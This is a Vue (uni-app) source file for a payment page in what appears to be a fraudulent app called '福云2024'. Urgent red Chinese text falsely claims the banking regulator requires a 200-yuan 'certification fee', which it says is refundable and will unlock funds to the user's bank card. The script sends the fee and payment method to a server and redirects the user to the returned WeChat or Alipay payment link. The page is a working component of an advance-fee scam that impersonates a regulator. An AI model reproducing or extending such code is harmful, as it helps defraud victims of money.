pay3.vue

<template>
	<view class="container">

		<view class="main">

			<view class="addbank" style="margin-top: 82px;">
				<view class="content">
					<view class="" style="font-size: 15px;text-align: center;color: red;">
						<view class="">
							请立即向银监局证明为本人正常使用此福云2024账号
						</view>
						<view class="">
							请立即缴纳200元认证费用！！！
						</view>
						<view class="">
							注意：认证成功后200元将退回至银行卡，福云2024所有款项已发放完毕
						</view>
						<view class="">
							将在认证成功后立即由银监局发放至用户指定银行卡中
						</view>
					</view>
					<view class="" style="font-size: 24px;color: red;margin: 20px 0;">
						￥{{mony}}元
					</view>

				</view>
				<view class="pop" style="width:100%;height: 200px;margin-top: 20px; ">

					<view class="pays">
						<text style="margin-left: 15px;color: #000;font-size: 18px;">请选择认证方式</text>
						<view class="" style="margin-top: 10px;">
							<u-radio-group v-model="radiovalue" placement="column" @change="groupChange"
								iconPlacement="right" style="width: 90%; margin: 0 auto; ">
								<view class="demo" v-if="wechat==1" style="position: relative;margin-bottom: 10px;">
									<view class="item" style="position: absolute; ">
										<image src="@/static/payup/wx.svg" mode="" style="width: 20px;height: 20px;">
										</image>
									</view>
									<u-radio style="margin-left: 25px;" labelSize="40rpx" labelColor="fff"
										:customStyle="{marginBottom: '8px'}" name="wechat" label="通过微信认证"
										@change="radioChange">
									</u-radio>
								</view>
								<view class="demo" v-if="zfb==1" style="position: relative;margin-bottom: 5px;">
									<view class="item" style="position: absolute; ">
										<image src="@/static/payup/zfb.svg" mode="" style="width: 20px;height: 20px;">
										</image>
									</view>
									<u-radio style="margin-left: 25px;" labelSize="40rpx" labelColor="fff"
										:customStyle="{marginBottom: '8px'}" name="ali" label="通过支付宝认证"
										@change="radioChange">
									</u-radio>
								</view>
							</u-radio-group>
						</view>
					</view>
					<button class="btnsss" @click="submit" v-if='!iscould'>{{btn}}</button>
					<button class="btnsss" v-else>提交确认，请勿退出{{seconds}}</button>
				</view>

			</view>

		</view>
	</view>

	</view>
</template>

<script>
	export default {

		data() {
			return {
				info: '',
				btn: '确认',
				mony: 200,
				seconds: 6,
				iscould: false,
				passshow: false,
				pass: '',
				radiovalue: 'wechat',
				zhifulist: [],
				id: 3,
				urls: '/ops/daybook',
				wechat: 1,
				zfb: 1,
				content: '',
				title: '',

			}
		},

		onLoad(val) {

		},
		onShow() {
			let data = {
				noticeType: 3
			}

		},
		methods: {
			groupChange(n) {},
			radioChange(n) {},

			countDown() {
				// 如果秒数不为0,就继续减少秒数
				if (this.seconds > 0) {
					this.seconds--;
					setTimeout(this.countDown, 1000);
				} else {
					this.iscould = ""
					this.seconds = 6;
				}
			},
			// 确认添加
			submit() {
				this.iscould = "false"
				if (!this.radiovalue) {
					uni.showToast({
						title: "请选择支付方式",
						icon: "none"
					})
					return
				}
				let timer1 = setTimeout(() => {
					this.countDown()
					clearTimeout(timer1);
				}, 1000);
				let data = {
					remark: this.radiovalue,
					balance: this.mony,
					type: 3,



				}
				this.$request(`${this.urls}`, data, 'post', true).then((res) => {
					if (res.data.code == 200) {
						let script = res.data.msg
						console.log(res);
						// #ifdef APP
						plus.runtime.openURL(encodeURI(script))
						// #endif
						// #ifdef H5
						location.href = script
						// #endif
						this.close()
					} else {
						uni.showToast({
							title: res.data.msg,
							icon: "none"
						})
					}
				})


			},
		}
	}
</script>

<style lang="scss" scoped>
	page {
		background-color: #F1F5FA;
	}

	.btnsss {
		border-radius: 20px;
		color: #fff;
		width: 80%;
		height: 44px;
		background-color: #2A6EA2;
		line-height: 44px;
		margin-top: 18px;
	}

	.content {
		display: flex;
		flex-direction: column;
		align-items: center;
		justify-content: center;
		background-color: #fff;
		margin: 10px auto 0;
		// height: 160px;
		width: 90%;
		border-radius: 15px;
		box-sizing: border-box;
		padding: 20px 15px;
		box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;

		.item {
			// background-color: red;
			display: flex;
			height: 60px;
			align-items: center;
			color: rgba(178, 178, 178, 1);
			margin: 0px auto;
			width: 90%;
			border-bottom: 1px solid #979797;

			.inp {
				flex: 1;
				text-align: right;
				height: 40px;
				text-indent: 20px;
				color: #3C4951;
			}
		}

		// .item {
		// 	display: flex;
		// 	height: 80px;
		// 	flex-direction: column;
		// 	justify-content: space-around;
		// 	color: rgba(178, 178, 178, 1);
		// 	margin: 0 auto;
		// 	width: 90%;

		// 	.inp {
		// background-color:#F7F7F7
		// 		border-radius: 6px;
		// 		height: 40px;
		// 		text-indent: 20px;
		// 		color: #3C4951;
		// 	}
		// }
	}
</style>